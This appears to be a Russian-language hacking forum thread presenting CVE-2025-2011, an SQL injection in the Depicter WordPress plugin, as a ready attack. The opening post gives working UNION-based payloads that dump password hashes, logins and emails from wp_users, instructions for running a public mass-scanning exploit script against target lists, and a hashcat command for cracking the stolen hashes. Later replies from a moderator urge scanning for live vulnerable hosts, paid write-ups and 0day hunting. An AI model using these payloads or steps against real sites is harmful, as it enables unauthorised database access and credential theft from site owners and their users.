LIMB
Вход Регистрация

тема

Wordpress, спасибо за cve-2025-2011

barak · · 7 ответов · 140 просмотров

Не удалось прогрузить медиа

Приветствую читателей, день прошел, а что это значит? А значит то что пора опубликовать новую уязвимость в плагине wordpress, темой обсуждения сегодня будет вулна cve-2025-2011
​

Что это за монстр?

CVE-2025-2011 уязвимость плагина «Slider & Popup Builder» от Depicter для WordPress в версиях до и включая 3.6.1
Описание: неаутентифицированные злоумышленники могут добавлять дополнительные SQL-запросы в уже существующие, что позволяет извлекать чувствительную информацию из базы данных
Причина уязвимости: недостаточная обработка пользовательского параметра и отсутствие должной подготовки существующего SQL-запроса
Дата публикации: 6 мая 2025 года
Уровень серьёзности 7.5/10 (high)

​

Как эксплуатируется?

Уязвимость находится в AJAX-обработчике плагина Depicter в файле /wp-admin/admin-ajax.php при выполнении действия depicter-lead-index отправляем обычный GET-запрос вида:  wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+

Не удалось прогрузить медиа

​

Как появилась уязвимость​

плагин подставлял пользовательский параметр s прямо в SQL-запрос без правильной очистки и без параметризации, из-за чего можно было дописать свой SQL
запросы строились конкатенацией строк вместо $wpdb->prepare(...), поэтому атака могла вставить управляющие конструкции (', ), UNION, --) 
пример: action=depicter-lead-index&s=test%27)+UNION+select+user_email,2,3,4,5+FROM+wp_users--+x

​

Пайлоды для просмотр таблиц​

Данные берутся из таблицы "wp_users", основные данные которые можно вытащить:
​
user_pass
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+xХеши (пароли)
user_login
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_login,2,3,4,5+FROM+wp_users--+xЛогин пользователей (имя учётки)
user_email
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_email,2,3,4,5+FROM+wp_users--+xПочты пользователей

​

Готовый скрипт(PoC)

Готовое решение есть на гитхабе где можно проверить огромное количество ссылок на уязвимость
1. git clone https://github.com/X3RX3SSec/CVE-2025-2011.git
2. cd CVE-2025-2011
3. pip install requests colorama
4. python CVE-2025-2011.py -h

-f targets.txt (принимает огромное количество ссылок с текстового документа)
-u example.com (принимает одну ссылку прямо с терминала)
-p 1,2 - в репозитории есть 2 payload, советую использовать -p 1 (либо можете не писать -p, скрипт автоматически выберет первый пайлоад)
Так же скрипт ищет хеши в виде бкрипта (\$2y$) и в случае находки предлагает сбрутить через hashcat

Не удалось прогрузить медиа

​

Благодарю всех кто дочитал до этого момента, больше валида, больше уязвимостей:cowboy:
специально для https://forum.LIMB.cc/​
👍13 ❤️3 👏3 💯3
Доп: (кнопка пропала, не успел вставить)

После того как вы получили хеш с таблицы, то можете сбрутить через hashcat
если хеш выглядит подобным образом: $P$BSCaCAAdRS1DugPI1XQ8VxI3tUNZjn1 то нужно указывать тип хеша -m 400
400 - phpass, WordPress (MD5), Joomla (MD5)
Полная команда: hashcat -m 400 -a 0 hash.txt wordlist.txt
Не удалось прогрузить медиа
​
👍4 ❤️1
Ответbarak

опубликовать новую уязвимость

Ответbarak

Дата публикации: 6 мая 2025 года

👍3
Ну так и старой не назовешь, под новой уязвимостью я имел в виду конкретном на этом форуме
👍3
https://github.com/X3RX3SSec/CVE-2025-2011 сплоит
https://vsec.com.br/sql-injection-in-wordpress-depicter-cve-2025-2011-when-queries-talk-too-much/ тут рассказано уже как эксплуатировать
https://github.com/datagoboom/CVE-2025-2011 тут даже есть тестовая лаба для тренировок

уже даже индексируются ресурсы, которые ломали =)

Не удалось прогрузить медиа

Статья должна быть авторской. Ваш опыт. Рассказали бы хоть насколько этот плагин популярный, остались ли живые хосты +- сколько. Статистика, разбор уязвимости, почему плагин дырявым оказался... Так бы годилось.
👍3
ОтветFaceControl

https://github.com/X3RX3SSec/CVE-2025-2011 сплоит https://vsec.com.br/sql-injection-in-wordpress-depicter-cve-2025-2011-when-queries-talk-too-much/ тут рассказано уже как эксплуатировать…

Статья по эксплуатации, тестовую лабу и уже поломанные сайты - этого не виделo_O
Я же вроде разобрал уязвимсоть и рассказал из-за чего уязвимость получилась
Ответbarak

Статья по эксплуатации, тестовую лабу и уже поломанные сайты - этого не виделo_O Я же вроде разобрал уязвимсоть и рассказал из-за чего уязвимость получилась

Попробуйте на основе этого материала написать новую и тогда статья будет оплачиваться. Учтите все замечания о которых вам сообщили. Расскажите как сканить, где брат мат, сколько ресурсов удалось найти уязвимых ну и упор сделать как тестировать плагины вордпресс чтобы найти 0day даже если 50-100 ресурсов используют этот плагин и вы нашли то что никто не нашел еще это будет отлично. Упор нужно делать в эти места, тогда будет уважение от пользователей и деньги.
ОтветFaceControl

Попробуйте на основе этого материала написать новую и тогда статья будет оплачиваться. Учтите все замечания о которых вам сообщили. Расскажите как сканить, где брат мат, сколько ресурсов удалось найти уязвимых ну и упор…

Я могу написать написать новую статью по этой вулне только уже улучшенную или надо уже по другой уязвимости ?
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.